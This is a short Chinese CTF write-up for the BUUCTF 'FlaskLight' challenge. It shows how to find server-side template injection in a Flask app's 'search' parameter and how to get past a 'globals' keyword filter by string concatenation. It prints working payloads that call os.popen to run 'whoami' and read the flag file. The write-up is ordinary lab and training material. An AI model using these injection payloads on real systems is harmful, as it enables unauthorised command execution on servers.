[BUUCTF题解][CSCCTF 2019 Qual]FlaskLight
### 知识点
Flask框架的SSTI
过程
做题先搜集(检查HTTP报文+查看初始页面HTML代码),显然看出来和SSTI可能性很大,在初始页面中可以看到接受GET传入的参数search。

简单就能验证存在SSTI。

试下过滤的字符,可以注意到search含有globals时就会500返回。

但是妹有过滤引号,直接用字符串就可以拼接。

因为本题妹有对config限制,所以直接用基于config的payload,方便又快捷。
?search={{config.__init__['__global'+'s__'].os.popen("whoami").read()}}

发现flag在根目录下/flasklight/coomme_geeeett_youur_flek中,直接读取获得flag。
?search={{config.__init__['__global'+'s__'].os.popen("cat /flasklight/coomme_geeeett_youur_flek").read()}}


浙公网安备 33010602011771号